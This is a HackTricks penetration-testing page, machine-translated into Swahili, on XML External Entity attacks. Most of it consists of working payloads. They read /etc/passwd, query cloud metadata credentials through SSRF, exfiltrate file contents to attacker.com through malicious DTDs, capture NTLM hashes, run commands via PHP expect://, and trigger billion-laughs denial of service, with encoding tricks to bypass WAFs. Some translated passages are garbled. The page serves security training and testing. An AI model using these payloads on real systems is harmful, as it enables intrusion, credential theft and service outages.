hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

36 KiB

XXE - XEE - XML External Entity

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Msingi wa XML

XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.

  • Uwakilishi wa Data kupitia Vitu: Vitu katika XML vinaruhusu uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama &lt; na &gt;, ambazo zinahusiana na < na > ili kuepuka mgongano na mfumo wa lebo za XML.
  • Kufafanua Vipengele vya XML: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto.
  • Ufafanuzi wa Aina ya Hati (DTD): DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopangwa na kuthibitishwa.
  • Vitu vya Kawaida na vya Nje: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinainua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi parser za XML zinavyoshughulikia vyanzo vya data vya nje: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
  • Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo: Kwa ajili ya kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinashindwa kutokana na hatua za usalama za parser, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kinachodhibitiwa, ili kuthibitisha udhaifu.
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Mashambulizi Makuu

Mengi ya mashambulizi haya yalijaribiwa kwa kutumia maabara bora za Portswiggers XEE: https://portswigger.net/web-security/xxe

Jaribio la Kitu Kipya

Katika shambulio hili nitajaribu kuona kama tamko rahisi la KITU kipya linafanya kazi.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Soma faili

Hebu jaribu kusoma /etc/passwd kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: C:\windows\system32\drivers\etc\hosts

Katika kesi hii ya kwanza, angalia kwamba SYSTEM "**file:///**etc/passwd" pia itafanya kazi.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Hali hii ya pili inapaswa kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya maabara za Portswigger)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

Katika kesi hii ya tatu, angalia tunatangaza Element stockCheck kama ANY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Orodha ya saraka

Katika programu za Java inaweza kuwa inawezekana kuorodhesha maudhui ya saraka kupitia XXE kwa payload kama (kuuliza tu saraka badala ya faili):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE inaweza kutumika kuabudu SSRF ndani ya wingu

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Kwa kutumia mbinu iliyotajwa hapo awali unaweza kufanya seva kufikia seva unayodhibiti ili kuonyesha kuwa ina udhaifu. Lakini, ikiwa hiyo haitafanya kazi, huenda ni kwa sababu vitu vya XML haviruhusiwi, katika kesi hiyo unaweza kujaribu kutumia vitu vya parameta za XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltrate data out-of-band

Katika tukio hili tutafanya seva ipakie DTD mpya yenye mzigo mbaya ambao utatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia _ftp://_ ukitumia seva hii ya msingi kwa mfano xxe-ftp-server.rb). Maelezo haya yanategemea Portswiggers lab hapa.

Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuhamasisha data:

Mfano wa DTD Mbaya:

Muundo ni kama ifuatavyo:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

The steps executed by this DTD include:

  1. Definition of Parameter Entities:
  • An XML parameter entity, %file, is created, reading the content of the /etc/hostname file.
  • Another XML parameter entity, %eval, is defined. It dynamically declares a new XML parameter entity, %exfiltrate. The %exfiltrate entity is set to make an HTTP request to the attacker's server, passing the content of the %file entity within the query string of the URL.
  1. Execution of Entities:
  • The %eval entity is utilized, leading to the execution of the dynamic declaration of the %exfiltrate entity.
  • The %exfiltrate entity is then used, triggering an HTTP request to the specified URL with the file's contents.

The attacker hosts this malicious DTD on a server under their control, typically at a URL like http://web-attacker.com/malicious.dtd.

XXE Payload: Ili kutumia programu iliyo hatarini, mshambuliaji anatumia XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

This payload defines an XML parameter entity %xxe and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname file to the attacker's server.

Error Based(External DTD)

Katika kesi hii tutafanya server iandae DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa kosa). Mfano kutoka hapa.

Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya /etc/passwd, unaweza kuanzishwa kwa kutumia DTD mbaya ya nje. Hii inafanywa kupitia hatua zifuatazo:

  1. Kituo cha XML kinachoitwa file kinafafanuliwa, ambacho kina maudhui ya faili ya /etc/passwd.
  2. Kituo cha XML kinachoitwa eval kinafafanuliwa, kikijumuisha tangazo la dinamik kwa kituo kingine cha XML kinachoitwa error. Kituo hiki error, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kituo cha file kama jina lake.
  3. Kituo cha eval kinaitwa, na kusababisha tangazo la dinamik la kituo cha error.
  4. Kuitwa kwa kituo cha error kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa ambao unajumuisha maudhui ya faili ya /etc/passwd kama sehemu ya jina la faili.

DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd file.

Tafadhali notice kwamba DTD ya nje inaturuhusu kujumuisha entiti moja ndani ya ya pili (eval), lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).

Kosa Kulingana na (system DTD)

Hivyo kuhusu udhaifu wa XXE kipofu wakati mawasiliano ya nje yamezuiwa (muunganisho wa nje haupo)?

Kipengele katika spesifikesheni ya lugha ya XML kinaweza kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje. Tatizo hili linaruhusu upya wa ndani wa entiti zilizotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa entiti ya parameter ya XML, ambayo awali ilitangazwa katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.

Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika /usr/local/app/schema.dtd, ikifafanua entiti inayoitwa custom_entity. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya /etc/passwd kwa kuwasilisha DTD ya mseto kama ifuatavyo:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

The outlined steps are executed by this DTD:

  • Mwelekeo wa kituo cha XML kinachoitwa local_dtd unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
  • Ufafanuzi mpya unafanyika kwa kituo cha XML custom_entity, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika kuvunjika kwa XXE kulingana na makosa. Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya /etc/passwd.
  • Kwa kutumia kituo cha local_dtd, DTD ya nje inahusishwa, ikijumuisha custom_entity iliyofafanuliwa upya. Mfululizo huu wa hatua unachochea utoaji wa ujumbe wa kosa unaokusudiwa na uvunjaji.

Real world example: Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi huwa na DTD katika /usr/share/yelp/dtd/docbookx.dtd inayojumuisha kituo kinachoitwa ISOamso

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Kwa kuwa mbinu hii inatumia internal DTD unahitaji kupata moja halali kwanza. Unaweza kufanya hivi kwa kufunga ile ile OS / Software ambayo seva inatumia na kutafuta baadhi ya DTD za kawaida, au kuchukua orodha ya DTD za kawaida ndani ya mifumo na kuangalia kama yoyote yao ipo:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Kwa maelezo zaidi angalia https://portswigger.net/web-security/xxe/blind

Kutafuta DTDs ndani ya mfumo

Katika repo nzuri ya github ifuatayo unaweza kupata njia za DTDs ambazo zinaweza kuwepo katika mfumo:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Zaidi ya hayo, ikiwa una picha ya Docker ya mfumo wa mwathirika, unaweza kutumia chombo cha repo hiyo hiyo ili kuchunguza picha na kupata njia ya DTDs zilizopo ndani ya mfumo. Soma Readme ya github kujifunza jinsi.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE kupitia Office Open XML Parsers

Kwa maelezo ya kina kuhusu shambulio hili, angalia sehemu ya pili ya hiki kipande cha ajabu kutoka Detectify.

Uwezo wa kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji bila shaka kuchambua angalau faili moja ya XML.

Ili kujaribu udhaifu huu, ni muhimu kuunda faili ya Microsoft Office yenye mzigo wa XXE. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.

Mara hati inapofunguliwa, faili ya XML iliyoko ./unzipped/word/document.xml inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.

Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.

Hatimaye, faili inaweza kufungwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:

Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi kuonekana katika kumbukumbu za Burp Collaborator.

Jar: protokali

Protokali ya jar inapatikana pekee ndani ya programu za Java. Imepangwa kuwezesha ufikiaji wa faili ndani ya PKZIP archive (mfano, .zip, .jar, nk), ikihudumia faili za ndani na za mbali.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Ili kuweza kufikia faili ndani ya faili za PKZIP ni faida kubwa kutumia XXE kupitia faili za DTD za mfumo. Angalia sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo. {% endhint %}

Mchakato wa kufikia faili ndani ya archive ya PKZIP kupitia protokali ya jar unajumuisha hatua kadhaa:

  1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka eneo lililotajwa, kama vile https://download.website.com/archive.zip.
  2. Jibu la HTTP linaloelezea archive linawekwa kwa muda kwenye mfumo, kawaida katika eneo kama /tmp/....
  3. Archive hiyo inachukuliwa ili kufikia maudhui yake.
  4. Faili maalum ndani ya archive, file.zip, inasomwa.
  5. Baada ya operesheni, faili zozote za muda zilizoundwa wakati wa mchakato huu zinafuta.

Mbinu ya kuvutia ya kuingilia kati mchakato huu katika hatua ya pili inahusisha kuweka muunganisho wa seva wazi milele wakati wa kuhudumia faili ya archive. Zana zinazopatikana katika hifadhi hii zinaweza kutumika kwa kusudi hili, ikiwa ni pamoja na seva ya Python (slow_http_server.py) na seva ya Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} Kuandika faili katika saraka ya muda kunaweza kusaidia kuongeza udhaifu mwingine unaohusisha usafiri wa njia (kama vile kujumuisha faili za ndani, sindano ya templeti, XSLT RCE, deserialization, nk). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Shambulio la Bilioni za Kicheko

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml Attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Quadratic Blowup Attack

Kupata NTML

Katika mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka handler ya responder.py:

Responder.py -I eth0 -v

na kwa kutuma ombi lifuatalo

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Hidden XXE Surfaces

XInclude

Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, na kuzuia mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha DOCTYPE. Hata hivyo, shambulizi la XInclude linatoa suluhisho kwa kuruhusu kuingizwa kwa vitu vya nje ndani ya kipengele chochote cha data katika hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa.

Ili kutekeleza shambulizi la XInclude, jina la eneo la XInclude lazima litangazwe, na njia ya faili ya kitu cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulizi kama hilo linaweza kuandaliwa:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - File Upload

Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Muundo wa faili wa kawaida kama hati za ofisi (DOCX) na picha (SVG) unategemea XML.

Wakati watumiaji wanapopakia picha, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa udhaifu wa XXE (XML External Entity).

Mfano wa udhaifu kama huo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Njia nyingine inahusisha kujaribu kutekeleza amri kupitia PHP "expect" wrapper:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

Katika hali zote mbili, muundo wa SVG unatumika kuzindua mashambulizi yanayotumia uwezo wa usindikaji wa XML wa programu ya seva, ikionyesha hitaji la uthibitisho wa ingizo thabiti na hatua za usalama.

Angalia https://portswigger.net/web-security/xxe kwa maelezo zaidi!

Kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au wa matokeo ya utekelezaji utaonekana NDANI ya picha iliyoundwa. Hivyo unahitaji kuwa na uwezo wa kufikia picha ambayo SVG imeunda.

PDF - Upakiaji wa faili

Soma chapisho lifuatalo ili ujifunze jinsi ya kutumia XXE kwa kupakia faili ya PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Aina ya Maudhui: Kutoka x-www-urlencoded hadi XML

Ikiwa ombi la POST linakubali data katika muundo wa XML, unaweza kujaribu kutumia XXE katika ombi hilo. Kwa mfano, ikiwa ombi la kawaida lina yafuatayo:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Kisha unaweza kuweza kuwasilisha ombi lifuatalo, na matokeo sawa:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Kutoka JSON hadi XEE

Ili kubadilisha ombi unaweza kutumia Burp Extension inayoitwa “Content Type Converter“. Hapa unaweza kupata mfano huu:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Another example can be found here.

WAF & Protections Bypasses

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya data://.

UTF-7

Unaweza kutumia ["Encode Recipe" ya cyberchef hapa ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) kubadilisha kuwa UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

Ikiwa wavuti inatumia PHP, badala ya kutumia file:/ unaweza kutumia php wrappersphp://filter/convert.base64-encode/resource= ili kupata faili za ndani.

Ikiwa wavuti inatumia Java unaweza kuangalia jar: protocol.

HTML Entities

Hila kutoka https://github.com/Ambrotd/XXE-Notes
Unaweza kuunda entiti ndani ya entiti kwa kuikodisha kwa html entities na kisha kuitumia ili kupakia dtd.
Kumbuka kwamba HTML Entities zinazotumika zinahitaji kuwa za nambari (kama [katika mfano huu](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Mfano wa DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Toa index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Toa rasilimali za nje

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Remote code execution

Ikiwa moduli ya PHP "expect" imepakiwa

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Mfano huu umehamasishwa na https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) inatumika kuimarisha ubadilishanaji wa data katika mchakato wa uhamasishaji. Ni muundo wa XML unaotumika hasa kwa ajili ya kuhamasisha data inayoweza kubadilishwa kati ya zana wakati wa uhamasishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).

Blind Request Analysis

Ombi linafanywa kwa seva na maudhui yafuatayo:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Hata hivyo, ombi hili linazua kosa la ndani la seva, hasa likitaja tatizo na matangazo ya alama:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Ingawa kuna kosa, hit inarekodiwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na chombo cha nje.

Out of Band Data Exfiltration Ili kuhamasisha data, ombi lililobadilishwa linatumwa:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Hii mbinu inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazokuwa na tabo mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.

Data Exfiltration Inayotokana na Makosa Ili kushinda kikwazo hiki, mbinu inayotokana na makosa inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha kosa ambalo linajumuisha data kutoka kwa faili lengwa:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Server inajibu kwa kosa, muhimu kuonyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Ili kujumuisha maudhui ya faili katika ujumbe wa kosa, faili la DTD linarekebishwa:

<!ENTITY % data SYSTEM "file:///etc/passwd">
